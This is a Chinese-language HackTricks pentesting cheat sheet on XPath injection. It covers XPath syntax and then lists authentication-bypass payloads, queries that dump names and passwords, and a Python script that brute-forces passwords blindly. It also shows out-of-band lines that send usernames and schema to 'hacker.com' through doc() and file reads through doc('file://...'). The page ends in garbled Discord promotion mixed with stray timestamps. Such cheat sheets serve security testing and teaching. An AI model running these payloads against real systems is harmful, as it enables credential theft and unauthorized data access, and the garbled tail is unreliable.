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# XPATH注入
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< details >
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< summary > < strong > 从零开始学习AWS黑客技术, 成为专家< / strong > < a href = "https://training.hacktricks.xyz/courses/arte" > < strong > htARTE( HackTricks AWS红队专家) < / strong > < / a > < strong > ! < / strong > < / summary >
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< / details >
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< figure > < img src = "../../.gitbook/assets/image (1) (3) (1).png" alt = "" > < figcaption > < / figcaption > < / figure >
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## 基本语法
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一种称为XPath注入的攻击技术被用来利用根据用户输入形成XPath( XML路径语言) 查询的应用程序来查询或导航XML文档。
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### 描述的节点
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表达式用于选择XML文档中的各种节点。以下是这些表达式及其描述的总结:
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- **nodename**: 选择所有名称为“nodename”的节点。
- **/**:从根节点进行选择。
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- **//**:选择与当前节点匹配的节点,无论它们在文档中的位置如何。
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- **.**:选择当前节点。
- **..**:选择当前节点的父节点。
- **@**:选择属性。
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### XPath示例
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路径表达式及其结果的示例包括:
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- **bookstore**: 选择所有名称为“bookstore”的节点。
- **/bookstore**: 选择根元素bookstore。请注意, 表示元素的绝对路径以斜杠( /)开头。
- **bookstore/book**: 选择bookstore的子元素book。
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- **//book**: 选择文档中的所有book元素, 无论它们的位置如何。
- **bookstore//book**: 选择bookstore元素下的所有后代book元素, 无论它们在bookstore元素下的位置如何。
- **//@lang**: 选择所有名称为lang的属性。
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### 谓词的使用
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谓词用于细化选择:
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- **/bookstore/book[1]**: 选择bookstore元素的第一个book元素子节点。对于将第一个节点索引为[0]的IE版本5到9的解决方法是通过JavaScript将SelectionLanguage设置为XPath。
- **/bookstore/book[last()]**: 选择bookstore元素的最后一个book元素子节点。
- **/bookstore/book[last()-1]**: 选择bookstore元素的倒数第二个book元素子节点。
- **/bookstore/book[position()< 3 ]**: 选择bookstore元素的前两个book元素子节点 。
- **//title[@lang]**: 选择具有lang属性的所有title元素。
- **//title[@lang='en']**: 选择具有值为“en”的“lang”属性的所有title元素。
- **/bookstore/book[price>35.00]**: 选择价格大于35.00的所有book元素。
- **/bookstore/book[price>35.00]/title**: 选择价格大于35.00的book元素的bookstore中的所有title元素。
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### 未知节点的处理
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通配符用于匹配未知节点:
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- **\***:匹配任何元素节点。
- **@***:匹配任何属性节点。
- **node()**:匹配任何类型的任何节点。
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进一步的示例包括:
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- **/bookstore/\***: 选择bookstore元素的所有子元素节点。
- **//\***:选择文档中的所有元素。
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- **//title[@\*]**: 选择具有至少一个任意类型属性的所有title元素。
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```xml
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<?xml version="1.0" encoding="ISO-8859-1"?>
< data >
< user >
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< name > pepe< / name >
< password > peponcio< / password >
< account > admin< / account >
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< / user >
< user >
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< name > mark< / name >
< password > m12345< / password >
< account > regular< / account >
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< / user >
< user >
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< name > fino< / name >
< password > fino2< / password >
< account > regular< / account >
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< / user >
< / data >
```
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### 访问信息
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XPath注入是一种利用应用程序中的XPath表达式来访问或修改数据的攻击技术。攻击者可以通过构造恶意的XPath表达式来绕过身份验证、访问敏感数据或执行其他恶意操作。XPath注入通常发生在搜索表单或过滤器等用户可控输入的地方。要防止XPath注入, 应该使用参数化查询或编码输入数据。
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```
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All names - [pepe, mark, fino]
name
//name
//name/node()
//name/child::node()
user/name
user//name
/user/name
//user/name
All values - [pepe, peponcio, admin, mark, ...]
//user/node()
//user/child::node()
Positions
//user[position()=1]/name #pepe
//user[last()-1]/name #mark
//user[position()=1]/child::node()[position()=2] #peponcio (password)
Functions
count(//user/node()) #3 *3 = 9 (count all values)
string-length(//user[position()=1]/child::node()[position()=1]) #Length of "pepe" = 4
substrig(//user[position()=2/child::node()[position()=1],2,1) #Substring of mark: pos=2,length=1 --> "a"
```
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### 识别和窃取模式
- 使用错误的XPath查询来识别数据库架构
- 通过逐步调整查询来窃取数据
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```python
and count(/*) = 1 #root
and count(/*[1]/*) = 2 #count (root) = 2 (a,c)
and count(/*[1]/*[1]/*) = 1 #count (a) = 1 (b)
and count(/*[1]/*[1]/*[1]/*) = 0 #count (b) = 0
and count(/*[1]/*[2]/*) = 3 #count (c) = 3 (d,e,f)
and count(/*[1]/*[2]/*[1]/*) = 0 #count (d) = 0
and count(/*[1]/*[2]/*[2]/*) = 0 #count (e) = 0
and count(/*[1]/*[2]/*[3]/*) = 1 #count (f) = 1 (g)
and count(/*[1]/*[2]/*[3]/[1]*) = 0 #count (g) = 0
#The previous solutions are the representation of a schema like the following
#(at this stage we don't know the name of the tags, but jus the schema)
< root >
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< a >
< b > < / b >
< / a >
< c >
< d > < / d >
< e > < / e >
< f >
< h > < / h >
< / f >
< / c >
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< / root >
and name(/*[1]) = "root" #Confirm the name of the first tag is "root"
and substring(name(/*[1]/*[1]),1,1) = "a" #First char of name of tag `<a>` is "a"
and string-to-codepoints(substring(name(/*[1]/*[1]/*),1,1)) = 105 #Firts char of tag `<b>` is codepoint 105 ("i") (https://codepoints.net/)
#Stealing the schema via OOB
doc(concat("http://hacker.com/oob/", name(/*[1]/*[1]), name(/*[1]/*[1]/*[1])))
doc-available(concat("http://hacker.com/oob/", name(/*[1]/*[1]), name(/*[1]/*[1]/*[1])))
```
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## 身份验证绕过
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### **查询示例:**
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```
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string(//user[name/text()='+VAR_USER+' and password/text()='+VAR_PASSWD+']/account/text())
$q = '/usuarios/usuario[cuenta="' . $_POST['user'] . '" and passwd="' . $_POST['passwd'] . '"]';
```
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### **用户和密码中的OR绕过( 两者的值相同) **
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```
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' or '1'='1
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" or "1"="1
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' or ''='
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" or ""="
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string(//user[name/text()='' or '1'='1' and password/text()='' or '1'='1']/account/text())
Select account
Select the account using the username and use one of the previous values in the password field
```
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### **滥用空值注入**
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```
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Username: ' or 1]%00
```
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### **用户名或密码中的双重OR**(仅在一个易受攻击的字段中有效)
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重要提示:请注意**“and”是首先执行的操作**。
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```
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Bypass with first match
(This requests are also valid without spaces)
' or /* or '
' or "a" or '
' or 1 or '
' or true() or '
string(//user[name/text()='' or true() or '' and password/text()='']/account/text())
Select account
'or string-length(name(.))< 10 or ' #Select account with length ( name )< 10
'or contains(name,'adm') or' #Select first account having "adm" in the name
'or contains(.,'adm') or' #Select first account having "adm" in the current value
'or position()=2 or' #Select 2º account
string(//user[name/text()=''or position()=2 or'' and password/text()='']/account/text())
Select account (name known)
admin' or '
admin' or '1'='2
string(//user[name/text()='admin' or '1'='2' and password/text()='']/account/text())
```
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## 字符串提取
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输出包含字符串,用户可以操纵这些值进行搜索:
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```
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/user/username[contains(., '+VALUE+')]
```
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```
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') or 1=1 or (' #Get all names
') or 1=1] | //user/password[('')=(' #Get all names and passwords
') or 2=1] | //user/node()[('')=(' #Get all values
')] | //./node()[('')=(' #Get all values
')] | //node()[('')=(' #Get all values
') or 1=1] | //user/password[('')=(' #Get all names and passwords
')] | //password%00 #All names and passwords (abusing null injection)
')]/../*[3][text()!=(' #All the passwords
')] | //user/*[1] | a[(' #The ID of all users
')] | //user/*[2] | a[(' #The name of all users
')] | //user/*[3] | a[(' #The password of all users
')] | //user/*[4] | a[(' #The account of all users
```
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## 盲目利用
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### **获取值的长度并通过比较提取它:**
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```bash
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' or string-length(//user[position()=1]/child::node()[position()=1])=4 or ''=' #True if length equals 4
' or substring((//user[position()=1]/child::node()[position()=1]),1,1)="a" or ''=' #True is first equals "a"
substring(//user[userid=5]/username,2,1)=codepoints-to-string(INT_ORD_CHAR_HERE)
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... and ( if ( $employee/role = 2 ) then error() else 0 )... #When error() is executed it rises an error and never returns a value
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```
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### **Python 示例**
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```python
import requests
url = "http://example.com/login"
payload = "' or '1'='1'--"
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data = {"username": payload, "password": "password", "submit": "submit"}
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response = requests.post(url, data=data)
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print(response.text)
```
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```python
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import requests, string
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flag = ""
l = 0
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alphabet = string.ascii_letters + string.digits + "{}_()"
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for i in range(30):
r = requests.get("http://example.com?action=user& userid=2 and string-length(password)=" + str(i))
if ("TRUE_COND" in r.text):
l = i
break
print("[+] Password length: " + str(l))
for i in range(1, l + 1): #print ("[i] Looking for char number " + str(i))
for al in alphabet:
r = requests.get("http://example.com?action=user& userid=2 and substring(password,"+str(i)+",1)="+al)
if ("TRUE_COND" in r.text):
flag += al
print("[+] Flag: " + flag)
break
```
### 读取文件
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1. **Payload** :
```plaintext
' or '1'='1
```
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2. **Request** :
```http
GET /product?category=' or '1'='1 HTTP/1.1
Host: vulnerable-website.com
```
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3. **Analysis** :
- The payload `' or '1'='1` will make the XPath query always return true, allowing the attacker to read the entire file.
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4. **Recommendation** :
- Sanitize user input and use parameterized XPath queries to prevent XPath injection.
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```python
(substring((doc('file://protected/secret.xml')/*[1]/*[1]/text()[1]),3,1))) < 127
```
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## OOB利用
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```python
doc(concat("http://hacker.com/oob/", RESULTS))
doc(concat("http://hacker.com/oob/", /Employees/Employee[1]/username))
doc(concat("http://hacker.com/oob/", encode-for-uri(/Employees/Employee[1]/username)))
#Instead of doc() you can use the function doc-available
doc-available(concat("http://hacker.com/oob/", RESULTS))
#the doc available will respond true or false depending if the doc exists,
#user not(doc-available(...)) to invert the result if you need to
```
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### 自动化工具
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* [xcat ](https://xcat.readthedocs.io/ )
* [xxxpwn ](https://github.com/feakk/xxxpwn )
* [xxxpwn_smart ](https://github.com/aayla-secura/xxxpwn_smart )
* [xpath-blind-explorer ](https://github.com/micsoftvn/xpath-blind-explorer )
* [XmlChor ](https://github.com/Harshal35/XMLCHOR )
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## 参考资料
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* [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XPATH%20Injection ](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XPATH%20Injection )
* [https://wiki.owasp.org/index.php/Testing_for_XPath_Injection_(OTG-INPVAL-010) ](https://wiki.owasp.org/index.php/Testing_for_XPath_Injection_(OTG-INPVAL-010 ))
* [https://www.w3schools.com/xml/xpath\_syntax.asp ](https://www.w3schools.com/xml/xpath\_syntax.asp )
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< figure > < img src = "../../.gitbook/assets/image (1) (3) (1).png" alt = "" > < figcaption > < / figcaption > < / figure >
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加入 [**HackenProof Discord** ](https://discord.com/invite/N3FrSbmwdy ) 服务器,与经验丰富的黑客和赏金猎人交流!
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**黑客见解**\
参与深入探讨黑客行为的刺激和挑战的内容
2023-02-27 09:28:45 +00:00
2023-12-31 04:43:12 +00:00
**实时黑客新闻**\
2024-02-06 04:10:34 +00:00
通过实时新闻和见解了解快节奏的黑客世界
2023-02-27 09:28:45 +00:00
2023-12-31 04:43:12 +00:00
**最新公告**\
2024-02-09 08:09:21 +00:00
了解最新启动的赏金任务和重要平台更新
2023-02-27 09:28:45 +00:00
2024-02-06 04:10:34 +00:00
**加入我们的** [**Discord** ](https://discord.com/invite/N3FrSbmwdy ),立即与顶尖黑客合作!
2022-11-05 09:07:43 +00:00
2022-04-28 16:01:33 +00:00
< details >
2024-02-09 08:09:21 +00:00
< summary > < strong > 从零开始学习AWS黑客技术, 成为专家< / strong > < a href = "https://training.hacktricks.xyz/courses/arte" > < strong > htARTE( HackTricks AWS Red Team Expert) < / strong > < / a > < strong > ! < / strong > < / summary >
2023-12-31 04:43:12 +00:00
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支持 HackTricks 的其他方式:
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